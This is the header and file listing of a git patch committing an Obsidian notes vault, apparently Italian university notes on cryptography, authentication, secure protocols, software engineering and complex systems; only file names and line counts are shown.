From 13530807d8fbdda86518903faaad0f5a4e298459 Mon Sep 17 00:00:00 2001
From: Stefano Pigozzi <me@steffo.eu>
Date: Thu, 21 Sep 2023 02:46:23 +0200
Subject: [PATCH] Initial commit

---
 .gitignore                                    |    10 +
 .obsidian/app.json                            |    17 +
 .obsidian/appearance.json                     |    11 +
 .obsidian/backlink.json                       |     3 +
 .obsidian/bookmarks.json                      |    67 +
 .obsidian/canvas.json                         |     7 +
 .obsidian/community-plugins.json              |     3 +
 .obsidian/core-plugins-migration.json         |    31 +
 .obsidian/core-plugins.json                   |    15 +
 .obsidian/graph.json                          |    30 +
 .obsidian/hotkeys.json                        |     1 +
 .../plugins/obsidian-file-color/data.json     |   442 +
 .obsidian/plugins/obsidian-file-color/main.js | 23240 ++++++++++++++++
 .../plugins/obsidian-file-color/manifest.json |    11 +
 .../plugins/obsidian-file-color/styles.css    |     4 +
 .obsidian/publish.json                        |     6 +
 .../snippets/canvas-node-placeholder-size.css |     7 +
 .obsidian/starred.json                        |     3 +
 .obsidian/switcher.json                       |     5 +
 0 - Generale/cardinalità di un insieme.md     |     1 +
 0 - Generale/insieme.md                       |     1 +
 0 - Generale/lista.md                         |     6 +
 .../★ glossario ad alta performance.md        |   306 +
 .../1 - Concetti base/Untitled.md             |     0
 .../1 - Concetti base/bit.md                  |     3 +
 .../1 - Concetti base/ket.md                  |    21 +
 .../1 - Concetti base/prodotto tensoriale.md  |    19 +
 .../1 - Concetti base/qbit.md                 |    12 +
 .../stato base di un qbit.md                  |    21 +
 .../contesto.md                               |     1 +
 .../dominio.md                                |     1 +
 .../funzione ideale.md                        |     1 +
 .../funzione.md                               |     1 +
 .../garanzia.md                               |     3 +
 .../interfaccia.md                            |     1 +
 .../parametro.md                              |     4 +
 .../primitiva.md                              |     1 +
 .../problema.md                               |     1 +
 .../procedura.md                              |     1 +
 .../protocollo.md                             |     1 +
 .../risultato.md                              |     5 +
 .../sicurezza.md                              |     1 +
 .../soluzione.md                              |     1 +
 .../vincolo.md                                |     1 +
 .../★ mappa concettuale.canvas                |    39 +
 .../agente.md                                 |     1 +
 .../attacco.md                                |     9 +
 .../avversario.md                             |     1 +
 .../costo.md                                  |     1 +
 .../crittoanalisi.md                          |     3 +
 .../crittografia.md                           |     3 +
 .../crittologia.md                            |     6 +
 .../debolezza.md                              |     5 +
 .../esperimento.md                            |     5 +
 .../garanzia computazionale.md                |     3 +
 .../garanzia perfetta.md                      |     3 +
 .../livello di sicurezza.md                   |    19 +
 .../mitigazione.md                            |     5 +
 .../risorsa.md                                |     1 +
 .../sfidante.md                               |     1 +
 .../spazio.md                                 |     1 +
 .../squadra blu.md                            |     5 +
 .../squadra rossa.md                          |     5 +
 .../squadra.md                                |     1 +
 .../tempo.md                                  |     1 +
 .../utilizzo.md                               |     3 +
 .../violazione.md                             |     3 +
 .../vulnerabilità.md                          |     5 +
 .../★ mappa concettuale.canvas                |    69 +
 .../backward secrecy.md                       |     5 +
 .../casualità crittografica.md                |    30 +
 .../3 - Casualità ed entropia/dev-random.md   |     7 +
 .../3 - Casualità ed entropia/dev-urandom.md  |     7 +
 .../distribuzione uniforme.md                 |     1 +
 .../3 - Casualità ed entropia/entropia.md     |    43 +
 .../3 - Casualità ed entropia/entropy pool.md |     1 +
 .../3 - Casualità ed entropia/flusso.md       |     5 +
 .../forward secrecy.md                        |     1 +
 .../3 - Casualità ed entropia/generatore.md   |     1 +
 .../hardware random number generator.md       |     5 +
 .../imprevedibilità.md                        |     1 +
 .../3 - Casualità ed entropia/mixing.md       |     3 +
 .../pseudo-random number generator.md         |    11 +
 .../3 - Casualità ed entropia/random clone.md |     7 +
 .../3 - Casualità ed entropia/random fork.md  |     7 +
 .../sorgente di rumore.md                     |     2 +
 ...ato di un pseudo-random number generator.md |     5 +
 .../true random number generator.md           |    12 +
 ...ato di un pseudo-random number generator.md |     1 +
 .../★ mappa concettuale.canvas                |    48 +
 .../adaptive chosen-ciphertext attacker.md    |    11 +
 .../1 - Modello/autenticità.md                |     1 +
 .../1 - Modello/blob.md                       |     1 +
 .../1 - Modello/chosen-plaintext attacker.md  |     9 +
 .../1 - Modello/ciphertext-only attacker.md   |     7 +
 .../1 - Modello/ciphertext.md                 |     1 +
 .../1 - Modello/comunicazione simmetrica.md   |     5 +
 .../1 - Modello/confidenzialità.md            |     5 +
 .../1 - Modello/funzione di cifratura.md      |     1 +
 .../1 - Modello/funzione di decifratura.md    |     1 +
 .../1 - Modello/indistinguibilità.md          |     1 +
 .../1 - Modello/integrità.md                  |     1 +
 .../1 - Modello/irrational attacker.md        |     5 +
 .../1 - Modello/known-plaintext attacker.md   |     8 +
 ...non-adaptive chosen-ciphertext attacker.md |    10 +
 .../1 - Modello/plaintext.md                  |     1 +
 .../1 - Modello/testo.md                      |     1 +
 .../1 - Modello/tipo di avversario.md         |     1 +
 .../1 - Modello/★ mappa concettuale.canvas    |    57 +
 .../cifrario a sostituzione.md                |     3 +
 .../cifrario a trasposizione.md               |     3 +
 .../2 - Confidenzialità/cifrario di Cesare.md |    32 +
 .../crittografia classica.md                  |     3 +
 .../★ mappa concettuale.canvas                |    20 +
 .../3 - Indistinguibilità/3DES.md             |     1 +
 .../3 - Indistinguibilità/A51.md              |     3 +
 .../3 - Indistinguibilità/AES.md              |    17 +
 .../3 - Indistinguibilità/ChaCha20.md         |     1 +
 .../3 - Indistinguibilità/DES.md              |     1 +
 .../3 - Indistinguibilità/EFAIL.md            |     5 +
 .../3 - Indistinguibilità/PKCS7.md            |    23 +
 .../3 - Indistinguibilità/XChaCha20.md        |     1 +
 .../3 - Indistinguibilità/XOR.md              |    10 +
 ...contro initialization vector prevedibili.md |    53 +
 .../3 - Indistinguibilità/blocco.md           |     5 +
 .../3 - Indistinguibilità/bruteforce.md       |    19 +
 .../chiave simmetrica.md                      |     3 +
 .../cifrario a blocchi.md                     |     9 +
 .../cifrario a flusso.md                      |     7 +
 ...cipher block chaining operation mode.canvas |    40 +
 .../cipher block chaining operation mode.md   |    19 +
 .../cipher feedback operation mode.canvas     |    40 +
 .../cipher feedback operation mode.md         |    12 +
 .../counter operation mode.canvas             |    56 +
 .../counter operation mode.md                 |    15 +
 .../crittografia simmetrica moderna.md        |     5 +
 .../determinismo dell'initialization vector.md |     1 +
 ...nistic pseudo-random bitstring generator.md |     7 +
 .../distinguibilità degli errori di padding.md |     1 +
 .../electronic codebook operation mode.canvas |    30 +
 .../electronic codebook operation mode.md     |     7 +
 .../esperimento IND-COA.md                    |    16 +
 .../esperimento IND-CPA.md                    |    17 +
 .../esperimento IND-DCPA.md                   |     1 +
 .../famiglia di funzioni pseudo-casuali.md    |    16 +
 .../initialization vector.md                  |     1 +
 .../3 - Indistinguibilità/key recovery.md     |     1 +
 ...yed family of pseudo-random permutations.md |     8 +
 .../3 - Indistinguibilità/keystream.md        |     1 +
 .../limite di dati cifrabili.md               |     5 +
 .../malleabilità dei cifrari a flusso.md      |     1 +
 .../malleabilità dell'one-time pad.md         |    12 +
 .../3 - Indistinguibilità/malleabilità.md     |     1 +
 ...manipolazione dell'initialization vector.md |     3 +
 .../3 - Indistinguibilità/non-uniforme.md     |     1 +
 .../nonce → initialization vector.md          |     1 +
 .../3 - Indistinguibilità/nonce.md            |     7 +
 .../3 - Indistinguibilità/one-time pad.md     |    16 +
 .../operation mode di un cifrario a blocchi.md |     1 +
 .../output feedback operation mode.canvas     |    40 +
 .../output feedback operation mode.md         |    12 +
 .../padding oracle attack.md                  |    45 +
 .../3 - Indistinguibilità/padding.md          |     1 +
 .../principi di Kerckhoffs.md                 |    12 +
 .../random permutation.md                     |     1 +
 .../3 - Indistinguibilità/rc.md               |     1 +
 .../3 - Indistinguibilità/re-keying.md        |     1 +
 .../riutilizzo di chiavi nell'one-time pad.md |    15 +
 .../riutilizzo di chiavi.md                   |     1 +
 .../riutilizzo di nonce.md                    |     1 +
 ...initialization vector operation mode.canvas |    44 +
 ...tic initialization vector operation mode.md |    19 +
 .../synthetic initialization vector.md        |     3 +
 .../3 - Indistinguibilità/uniforme.md         |     1 +
 .../★ mappa concettuale.canvas                |   139 +
 .../3 - Integrità semplice/bit di parità.md   |     3 +
 .../3 - Integrità semplice/checksum.md        |     1 +
 .../cyclic redundancy check.md                |     1 +
 .../funzione di hashing.md                    |    13 +
 .../3 - Integrità semplice/hash.md            |     7 +
 .../verifica dell'integrità.md                |     1 +
 .../★ mappa concettuale.canvas                |    24 +
 .../4 - Integrità crittografica/MD5.md        |     1 +
 .../4 - Integrità crittografica/SHA1.md       |     1 +
 .../4 - Integrità crittografica/SHA2.md       |     1 +
 .../4 - Integrità crittografica/SHA224.md     |     1 +
 .../4 - Integrità crittografica/SHA256.md     |     1 +
 .../4 - Integrità crittografica/SHA3-224.md   |     1 +
 .../4 - Integrità crittografica/SHA3-256.md   |     1 +
 .../4 - Integrità crittografica/SHA3-384.md   |     1 +
 .../4 - Integrità crittografica/SHA3-512.md   |     1 +
 .../4 - Integrità crittografica/SHA3.md       |     3 +
 .../4 - Integrità crittografica/SHA384.md     |     1 +
 .../4 - Integrità crittografica/SHA512.md     |     1 +
 .../4 - Integrità crittografica/SHAttered.md  |     1 +
 .../attacco del compleanno.md                 |    21 +
 .../collision experiment.md                   |    11 +
 .../4 - Integrità crittografica/collision.md  |     3 +
 .../first pre-image collision experiment.md   |    12 +
 .../first pre-image collision.md              |     3 +
 .../funzione di hashing crittografico.md      |     6 +
 .../hashing con più input.md                  |    27 +
 .../length extension attack.md                |    10 +
 .../second pre-image collision experiment.md  |    12 +
 .../second pre-image collision.md             |     3 +
 .../verifica crittografica dell'integrità.md  |     1 +
 .../★ mappa concettuale.canvas                |    66 +
 .../5 - Autenticazione/CBC-MAC.canvas         |    36 +
 .../5 - Autenticazione/CBC-MAC.md             |    11 +
 .../5 - Autenticazione/CMAC.md                |     5 +
 .../5 - Autenticazione/GMAC.md                |    13 +
 .../5 - Autenticazione/HMAC.md                |    33 +
 .../5 - Autenticazione/SipHash.md             |    11 +
 .../5 - Autenticazione/autenticazione.md      |     5 +
 .../5 - Autenticazione/freshness.md           |     1 +
 .../message authentication code system.md     |     3 +
 .../message authentication code.md            |     7 +
 .../5 - Autenticazione/reflection attack.md   |    20 +
 .../5 - Autenticazione/replay attack.md       |    20 +
 .../★ mappa concettuale.canvas                |    44 +
 .../Chacha20-Poly1305.md                      |     1 +
 .../Galois-Counter mode.md                    |     8 +
 .../MAC-then-encrypt.md                       |     1 +
 ...ock chaining message authentication code.md |     9 +
 .../crittografia simmetrica autenticata.md    |     1 +
 .../encrypt-and-MAC.md                        |     1 +
 .../encrypt-then-MAC.md                       |    19 +
 .../generic composition.md                    |     2 +
 ...ode autenticato di un cifrario a blocchi.md |     1 +
 .../★ mappa concettuale.canvas                |    31 +
 .../Adiantum.md                               |     5 +
 .../1 - Indistinguibilità su disco/HCTR2.md   |     9 +
 .../XOR-encrypt-XOR operation mode.canvas     |    66 +
 .../XOR-encrypt-XOR operation mode.md         |     9 +
 ...XOR-encrypt-XOR with ciphertext stealing.md |     5 +
 .../ciphertext stealing.md                    |     7 +
 .../disk encryption protocol.md               |     3 +
 .../disk encryption.md                        |     3 +
 .../narrow-block encryption.md                |     1 +
 .../super pseudo-random permutation.md        |     8 +
 .../1 - Indistinguibilità su disco/tweak.md   |     3 +
 ... operation mode di un cifrario a blocchi.md |     5 +
 .../wide-block encryption.md                  |     3 +
 .../★ mappa concettuale.canvas                |    38 +
 ...ticated encryption with associated data.md |    14 +
 ...ticated encryption with associated data.md |    14 +
 ...ica a blocchi con initialization vector.md |    11 +
 ...ttografia simmetrica a flusso con nonce.md |    10 +
 .../operation framework deterministico.md     |     1 +
 ...ilistico per la crittografia simmetrica.md |    13 +
 .../operation framework probabilistico.md     |     1 +
 .../operation framework.md                    |     1 +
 .../★ mappa concettuale.canvas                |    28 +
 .../Keccak message authentication code.md     |    11 +
 .../ParallelHash.md                           |     9 +
 .../TupleHash.md                              |     9 +
 .../cSHAKE.md                                 |    11 +
 .../extendible output function.md             |     5 +
 .../funzione contestualizzata.md              |     3 +
 .../★ mappa concettuale.canvas                |    18 +
 .../4 - Derivazione di chiave/HKDF-Expand.md  |    16 +
 .../4 - Derivazione di chiave/HKDF-Extract.md |    11 +
 .../4 - Derivazione di chiave/HKDF.md         |     5 +
 ...entropia in una key derivation function.md |     1 +
 .../chiave derivata.md                        |     1 +
 ...zzazione di una key derivation function.md |     1 +
 ...xpansion di una key derivation function.md |     7 +
 ...traction di una key derivation function.md |     7 +
 .../input key material.md                     |     5 +
 .../key derivation function.md                |    15 +
 .../key derivation.md                         |     1 +
 .../pseudo-random key.md                      |     5 +
 .../★ mappa concettuale.canvas                |    39 +
 .../format-preserving encryption.md           |    11 +
 .../merkle hash tree.md                       |    13 +
 .../partial disclosure.md                     |     7 +
 .../struttura dati autenticata.md             |     1 +
 .../★ mappa concettuale.canvas                |    14 +
 .../generatore di un gruppo ciclico.md        |     3 +
 .../1 - Teoria dei gruppi/gruppo additivo.md  |     1 +
 .../gruppo ciclico di modulo primo.md         |    10 +
 .../1 - Teoria dei gruppi/gruppo ciclico.md   |    19 +
 .../1 - Teoria dei gruppi/gruppo di Galois.md |     5 +
 .../1 - Teoria dei gruppi/gruppo finito.md    |     1 +
 .../1 - Teoria dei gruppi/gruppo infinito.md  |     1 +
 .../gruppo moltiplicativo.md                  |     1 +
 .../1 - Teoria dei gruppi/gruppo.md           |    39 +
 .../ordine di un gruppo.md                    |     1 +
 .../1 - Teoria dei gruppi/sottogruppo.md      |     4 +
 .../★ mappa concettuale.canvas                |    30 +
 .../curva ellittica.md                        |     5 +
 .../equazione di Weierstrass.md               |    16 +
 .../gruppo ciclico su curva ellittica.md      |    11 +
 ...punto a infinito nelle curve ellittiche.md |     5 +
 .../somma di punti su curve ellittiche.md     |    10 +
 .../★ mappa concettuale.canvas                |    15 +
 .../3 - Scambio di chiave/Curve25519.md       |     5 +
 .../3 - Scambio di chiave/Curve448.md         |     5 +
 .../3 - Scambio di chiave/P-256.md            |    11 +
 .../3 - Scambio di chiave/P-521.md            |     7 +
 .../3 - Scambio di chiave/Sep256k1.md         |     3 +
 .../attacco del punto non valido.md           |     7 +
 .../attacco del sottogruppo debole.md         |     7 +
 .../3 - Scambio di chiave/chiave privata.md   |    13 +
 .../3 - Scambio di chiave/chiave pubblica.md  |    12 +
 .../congettura Diffie-Hellman classica.md     |    12 +
 ...ongettura Diffie-Hellman computazionale.md |    14 +
 .../congettura Diffie-Hellman decisionale.md  |    15 +
 .../congettura Diffie-Hellman.md              |     1 +
 .../3 - Scambio di chiave/coppia di chiavi.md |     7 +
 .../key generation algorithm.md               |     1 +
 .../logaritmo discreto su curva ellittica.md  |    18 +
 ...to su gruppi ciclici primi sugli interi.md |    15 +
 .../numero primo sicuro.md                    |    12 +
 .../3 - Scambio di chiave/one-way function.md |     1 +
 ...hiave Diffie-Hellman su curva ellittica.md |     5 +
 .../scambio di chiave Diffie-Hellman.md       |     5 +
 ...ve autenticato basato su Diffie-Hellman.md |    17 +
 ...ambio di chiave autenticato lato server.md |     5 +
 .../scambio di chiave autenticato.md          |     5 +
 ...mbio di chiave basato su Diffie-Hellman.md |    17 +
 ...ambio di chiave mutualmente autenticato.md |     5 +
 .../scambio di chiave.md                      |     5 +
 .../★ mappa concettuale.canvas                |    73 +
 .../4 - Crittografia asimmetrica/PKCS1 v15.md |    20 +
 .../4 - Crittografia asimmetrica/PKCS1 v20.md |     7 +
 .../4 - Crittografia asimmetrica/RSA.md       |     5 +
 .../congettura della fattorizzazione.md       |    15 +
 .../crittografia asimmetrica.md               |     1 +
 .../crittografia ibrida.md                    |     1 +
 ...ptic curve integrated encryption scheme.md |     4 +
 .../funzione toziente.md                      |     9 +
 .../integrated encryption scheme.md           |    12 +
 .../key encapsulation.md                      |    12 +
 .../mask generation function.md               |     0
 .../million message attack.md                 |     1 +
 .../problema RSA.md                           |    17 +
 ...e simmetrica basato sull'incapsulamento.md |     2 +
 .../textbook RSA.md                           |    23 +
 .../trapdoor one-way function.md              |     1 +
 .../★ mappa concettuale.canvas                |    40 +
 ...wards-curve digital signature algorithm.md |     5 +
 .../5 - Firma digitale/PKCS1 v21.md           |     7 +
 .../Schnorr deterministic signature scheme.md |    18 +
 .../Schnorr signature scheme.md               |    16 +
 .../digital signature algorithm.md            |     9 +
 ...iptic curve digital signature algorithm.md |     9 +
 .../5 - Firma digitale/fiducia.md             |     7 +
 .../5 - Firma digitale/firma digitale.md      |     3 +
 .../5 - Firma digitale/full domain hash.md    |     5 +
 .../probabilistic signature scheme.md         |     7 +
 .../problema di firma digitale.md             |     3 +
 ... identificazione di Schnorr interattivo.md |    21 +
 ...ntificazione di Schnorr non-interattivo.md |    18 +
 .../5 - Firma digitale/signature forgery.md   |     1 +
 .../5 - Firma digitale/signature scheme.md    |     3 +
 .../5 - Firma digitale/transcript.md          |     5 +
 .../trasformazione di Fiat-Shamir.md          |    17 +
 .../5 - Firma digitale/witness.md             |     5 +
 .../zero-knowledge proof.md                   |     1 +
 .../★ mappa concettuale.canvas                |    44 +
 .../adaptively-chosen-message attacker.md     |     3 +
 .../any message forgery.md                    |     3 +
 .../chosen-message attacker.md                |     7 +
 .../contesto di firma digitale.md             |     1 +
 .../known-message attacker.md                 |     3 +
 .../no-message attacker.md                    |     3 +
 .../random-message attacker.md                |     3 +
 .../selective message forgery.md              |     3 +
 .../strong existential message forgery.md     |     3 +
 .../strong existential unforgeability.md      |     5 +
 .../weak existential message forgery.md       |     3 +
 .../weak existential unforgeability.md        |     5 +
 .../★ mappa concettuale.canvas                |    40 +
 .../1 - Modello/access control list.md        |     5 +
 .../1 - Modello/access control model.md       |     1 +
 .../1 - Modello/autenticazione di identità.md |     5 +
 .../1 - Modello/autorizzazione di utente.md   |     5 +
 .../1 - Modello/credenziale.md                |    29 +
 .../1 - Modello/database delle credenziali.md |     5 +
 .../1 - Modello/identificazione.md            |     5 +
 .../1 - Modello/servizio di autenticazione.md |     5 +
 .../1 - Modello/user agent.md                 |     6 +
 .../1 - Modello/utente.md                     |     0
 .../1 - Modello/★ mappa concettuale.canvas    |    27 +
 .../2 - Protezione dai data breach/Argon2.md  |    12 +
 .../2 - Protezione dai data breach/PBKDF1.md  |    13 +
 .../2 - Protezione dai data breach/PBKDF2.md  |     1 +
 .../archiviazione delle credenziali.md        |     1 +
 .../attacco di pre-computazione.md            |    16 +
 .../attacco interattivo.md                    |    11 +
 .../2 - Protezione dai data breach/bcrypt.md  |     3 +
 .../data breach.md                            |     3 +
 .../enumerazione.md                           |     5 +
 .../funzione di password hashing adattiva.md  |     1 +
 .../funzione di password hashing.md           |    13 +
 .../invalidazione.md                          |     3 +
 .../password.md                               |    11 +
 .../2 - Protezione dai data breach/pepper.md  |    17 +
 .../personal identification number.md         |    18 +
 .../rainbow table.md                          |     1 +
 .../2 - Protezione dai data breach/salt.md    |    13 +
 .../2 - Protezione dai data breach/scrypt.md  |     5 +
 .../★ mappa concettuale.canvas                |    50 +
 .../Initiative for Open Authentication.md     |     5 +
 .../3 - Autenticazione di identità/OPAQUE.md  |    29 +
 .../SCRAM authentication.md                   |     5 +
 .../Untitled.md                               |     0
 .../augmented password-based key exchange.md  |     5 +
 .../basic authentication.md                   |     7 +
 .../bearer token.md                           |     3 +
 .../3 - Autenticazione di identità/blinded.md |     1 +
 ...lenge-response based on common knowledge.md |     1 +
 .../challenge-response based on password.md   |     1 +
 .../challenge-response based on public key.md |     5 +
 .../challenge-response based on time.md       |     1 +
 .../challenge-response.md                     |     9 +
 .../channel binding.md                        |     1 +
 .../digest authentication.md                  |     5 +
 .../hash-based one-time password.md           |    13 +
 .../oblivious pseudo-random function.md       |    17 +
 .../oblivious.md                              |     1 +
 .../one-time credential.md                    |    14 +
 ...assword-based authenticated key exchange.md |     9 +
 .../secure remote password.md                 |     9 +
 .../time-based one-time password.md           |     5 +
 .../★ mappa concettuale.canvas                |    54 +
 .../4 - Distribuzione di chiavi/COSE.md       |     1 +
 .../4 - Distribuzione di chiavi/JOSE.md       |     3 +
 .../OpenPGP web of trust.md                   |     7 +
 .../4 - Distribuzione di chiavi/PKCS12.md     |     3 +
 .../PKCS7 Cryptographic message syntax.md     |     3 +
 .../abstract syntax notation one.md           |     5 +
 .../4 - Distribuzione di chiavi/attestato.md  |     4 +
 .../4 - Distribuzione di chiavi/audience.md   |     1 +
 .../certificate revocation list.md            |     5 +
 .../certificate sign request.md               |     7 +
 .../certificate transparency.md               |    21 +
 .../certification authority.md                |     5 +
 .../certificato web.md                        |    14 +
 .../4 - Distribuzione di chiavi/claim.md      |     1 +
 .../creazione di un certificato web.md        |     7 +
 .../delegated verification.md                 |     3 +
 .../denial-of-service attack.md               |     1 +
 .../distinguished encoding rules.md           |     5 +
 .../distinguished name.md                     |     1 +
 .../distribuzione chiavi pubbliche.md         |     1 +
 .../domain validation.md                      |     5 +
 .../extended validation.md                    |     5 +
 .../fiducia transitiva.md                     |     7 +
 .../intermediate certification authority.md   |     5 +
 .../4 - Distribuzione di chiavi/issuer.md     |     1 +
 ...ne certificate status protocol stapling.md |     5 +
 .../online certificate status protocol.md     |     7 +
 .../out-of-band verification.md               |     1 +
 .../periodo di validità.md                    |     3 +
 .../privacy enhanced mail.md                  |    12 +
 .../public key infrastructure.md              |     7 +
 .../revoca certificato web.md                 |     5 +
 .../root certification authority.md           |     5 +
 .../4 - Distribuzione di chiavi/scope.md      |     1 +
 .../self-signed certificate.md                |     3 +
 .../stale attack.md                           |     5 +
 .../tipo di certificato web.md                |     1 +
 .../4 - Distribuzione di chiavi/token.md      |     1 +
 .../trust anchor.md                           |     3 +
 .../trust-on-first-use.md                     |     5 +
 .../★ mappa concettuale.canvas                |    96 +
 .../5 - Protocolli sicuri/1 - TCP-IP/IPSec.md |     4 +
 .../1 - TCP-IP/Internet Key Exchange.md       |     5 +
 .../1 - TCP-IP/MACSec.md                      |     5 +
 .../1 - TCP-IP/Wireguard.md                   |     1 +
 .../1 - TCP-IP/coppia di chiavi effimere.md   |     5 +
 .../datagram transport level security.md      |     5 +
 .../1 - TCP-IP/downgrade attack.md            |     1 +
 .../1 - TCP-IP/encrypted client hello.md      |     1 +
 .../1 - TCP-IP/mobile shell.md                |     5 +
 .../1 - TCP-IP/pre-master secret.md           |     3 +
 .../secure file transfer protocol.md          |     5 +
 .../1 - TCP-IP/secure shell.md                |     5 +
 .../transport level security handshake.md     |    23 +
 .../1 - TCP-IP/transport level security.md    |     9 +
 .../1 - TCP-IP/★ mappa concettuale.canvas     |    45 +
 .../2 - Email/authenticated received chain.md |     4 +
 ...d indicators for message identification.md |     5 +
 ...uthentication reporting and conformance.md |     5 +
 .../2 - Email/domainkeys identified mail.md   |     5 +
 .../5 - Protocolli sicuri/2 - Email/email.md  |     1 +
 .../2 - Email/malware attachment.md           |     3 +
 .../2 - Email/phishing.md                     |     3 +
 .../posta elettronica certificata.md          |     5 +
 .../2 - Email/record DNS.md                   |     0
 .../2 - Email/secure mime.md                  |     5 +
 .../2 - Email/sender policy framework.md      |     5 +
 .../2 - Email/sender spoofing.md              |     3 +
 .../2 - Email/★ mappa concettuale.canvas      |    36 +
 .../3 - Signal/Diffie-Hellman ratchet.md      |     5 +
 .../3 - Signal/Signal AEAD.md                 |    13 +
 .../3 - Signal/Signal protocol.md             |     1 +
 .../3 - Signal/Signal.md                      |     8 +
 .../5 - Protocolli sicuri/3 - Signal/X3DH.md  |     9 +
 ... key agreement basato su Diffie-Hellman.md |     6 +
 .../authenticated deniable key agreement.md   |     1 +
 .../3 - Signal/double ratchet.md              |    18 +
 .../3 - Signal/identity information.md        |     5 +
 .../3 - Signal/identity key.md                |     5 +
 .../3 - Signal/invio X3DH.md                  |    25 +
 .../3 - Signal/negabilità.md                  |     1 +
 .../3 - Signal/non-ripudiabilità.md           |     7 +
 .../3 - Signal/one-time pre-key.md            |     0
 .../3 - Signal/registrazione X3DH.md          |    13 +
 .../3 - Signal/ricezione X3DH.md              |    24 +
 .../3 - Signal/symmetric ratchet.md           |    11 +
 .../3 - Signal/★ mappa concettuale.canvas     |    54 +
 .../Artefatti/burndown chart.md               |     1 +
 .../Artefatti/increment.md                    |     1 +
 .../Artefatti/product backlog.md              |     3 +
 .../Artefatti/user story.md                   |    12 +
 .../Fasi di sviluppo/fase di design.md        |    10 +
 .../fase di implementazione.md                |     5 +
 .../Fasi di sviluppo/fase di manutenzione.md  |     7 +
 .../Fasi di sviluppo/fase di rilascio.md      |    11 +
 .../Fasi di sviluppo/fase di specifica.md     |     8 +
 .../Fasi di sviluppo/fase di testing.md       |     5 +
 .../modello basato sui componenti.md          |     9 +
 .../modello code-and-fix.md                   |     6 +
 .../modello di sviluppo.md                    |     1 +
 .../Modelli di sviluppo/modello evolutivo.md  |     9 +
 .../modello incrementale.md                   |     9 +
 .../Modelli di sviluppo/modello iterativo.md  |    14 +
 .../modello trasformativo.md                  |     7 +
 .../Modelli di sviluppo/modello waterfall.md  |     9 +
 .../agile unified process.md                  |    20 +
 .../Processi di sviluppo/agile.md             |    10 +
 .../Processi di sviluppo/backlog grooming.md  |     1 +
 .../Processi di sviluppo/daily scrum.md       |     1 +
 .../Processi di sviluppo/epic.md              |     7 +
 .../feature-driven development.md             |     3 +
 .../processo di sviluppo software.md          |    12 +
 .../Processi di sviluppo/scrum of scrum.md    |     1 +
 .../Processi di sviluppo/scrum.md             |    21 +
 .../Processi di sviluppo/unified process.md   |    21 +
 .../Ruoli professionali/product owner.md      |     1 +
 .../Ruoli professionali/scrum master.md       |     1 +
 .../5 - Project Estimation.md                 |    96 +
 .../Tecniche di sviluppo/pair programming.md  |    11 +
 .../Tecniche di sviluppo/refactoring.md       |     3 +
 .../Tecniche di sviluppo/sprint planning.md   |     1 +
 .../sprint retrospective.md                   |     3 +
 .../Tecniche di sviluppo/sprint review.md     |     3 +
 .../test-driven development.md                |     1 +
 .../Tecniche di sviluppo/timeboxing.md        |     3 +
 .../Testing/acceptance test.md                |    16 +
 .../Testing/integration test.md               |    20 +
 .../Testing/performance test.md               |    19 +
 .../Testing/regression test.md                |     9 +
 .../Testing/test coverage.md                  |    32 +
 .../Testing/test.md                           |    15 +
 .../Testing/unit test.md                      |    26 +
 .../1 - Sistemi dinamici/attrattore.md        |     7 +
 .../1 - Sistemi dinamici/centro.md            |     3 +
 .../condizione iniziale.md                    |     1 +
 .../convezione di Rayleigh-Bénard.md          |    19 +
 .../1 - Sistemi dinamici/criticità.md         |    15 +
 .../1 - Sistemi dinamici/effetto Marangoni.md |    14 +
 .../1 - Sistemi dinamici/instabilità.md       |     3 +
 .../legge Gutenberg-Richter.md                |     3 +
 .../1 - Sistemi dinamici/legge di potenza.md  |    11 +
 .../1 - Sistemi dinamici/metastabilità.md     |     3 +
 .../numero critico di Rayleigh.md             |     3 +
 .../numero di Rayleigh.md                     |     5 +
 .../1 - Sistemi dinamici/potenziale.md        |     9 +
 .../1 - Sistemi dinamici/punto critico.md     |     1 +
 .../1 - Sistemi dinamici/repulsore.md         |     5 +
 .../seconda legge della termodinamica.md      |     3 +
 .../1 - Sistemi dinamici/sella.md             |     1 +
 .../1 - Sistemi dinamici/sistema dinamico.md  |     1 +
 .../sistema dissipativo.md                    |     3 +
 .../1 - Sistemi dinamici/sistema lineare.md   |    10 +
 .../1 - Sistemi dinamici/spazio di fase.md    |     6 +
 .../1 - Sistemi dinamici/stabilità.md         |     3 +
 .../1 - Sistemi dinamici/traiettoria.md       |     1 +
 .../veicolo di Braitenberg.md                 |    12 +
 .../★ sistemi dinamici.canvas                 |    54 +
 .../Landau's phenomenological theory.md       |     1 +
 .../2 - Sistemi complessi/adattabilità.md     |     3 +
 .../apertura all'ambiente.md                  |     3 +
 .../auto-organizzazione.md                    |    17 +
 .../2 - Sistemi complessi/caos.md             |    13 +
 .../criticità auto-organizzata.md             |     3 +
 .../dense periodic orbits.md                  |     3 +
 .../2 - Sistemi complessi/emergenza.md        |     3 +
 .../fallimento a cascata.md                   |     3 +
 .../2 - Sistemi complessi/feedback loop.md    |     3 +
 .../2 - Sistemi complessi/non-linearità.md    |     7 +
 .../2 - Sistemi complessi/ordine spontaneo.md |     3 +
 .../parte di un sistema complesso.md          |     5 +
 .../pila di sabbia abeliana.md                |    24 +
 .../2 - Sistemi complessi/rete.md             |     5 +
 .../sistema complesso.md                      |    20 +
 .../topological mixing.md                     |     3 +
 .../★ sistemi complessi.canvas                |    36 +
 .../3 - Automi cellulari/Evoloop.md           |     1 +
 .../3 - Automi cellulari/Game of Life.md      |    19 +
 .../3 - Automi cellulari/Langton's Loops.md   |     3 +
 .../3 - Automi cellulari/Perrier's Loops.md   |     1 +
 .../3 - Automi cellulari/Wireworld.md         |     1 +
 .../3 - Automi cellulari/anisotropia.md       |    19 +
 .../3 - Automi cellulari/auto-replicazione.md |    25 +
 .../automa cellulare asincrono.md             |     1 +
 .../automa cellulare booleano.md              |     3 +
 .../automa cellulare continuo spaziale.md     |     1 +
 .../automa cellulare continuo.md              |     1 +
 .../automa cellulare invertibile.md           |     5 +
 .../automa cellulare legale.md                |     1 +
 .../automa cellulare partizionante.md         |     9 +
 .../automa cellulare probabilistico.md        |     7 +
 .../automa cellulare totalistico.md           |     5 +
 .../3 - Automi cellulari/automa cellulare.md  |    15 +
 .../3 - Automi cellulari/breeder.md           |     1 +
 .../cella di un automa cellulare.md           |     7 +
 .../classe 1 di Wolfram.md                    |    11 +
 .../classe 2 di Wolfram.md                    |    12 +
 .../classe 3 di Wolfram.md                    |     9 +
 .../classe 4 di Wolfram.md                    |     9 +
 .../classe di complessità di Wolfram.md       |     9 +
 .../giardino dell'Eden.md                     |     1 +
 .../3 - Automi cellulari/gun.md               |     1 +
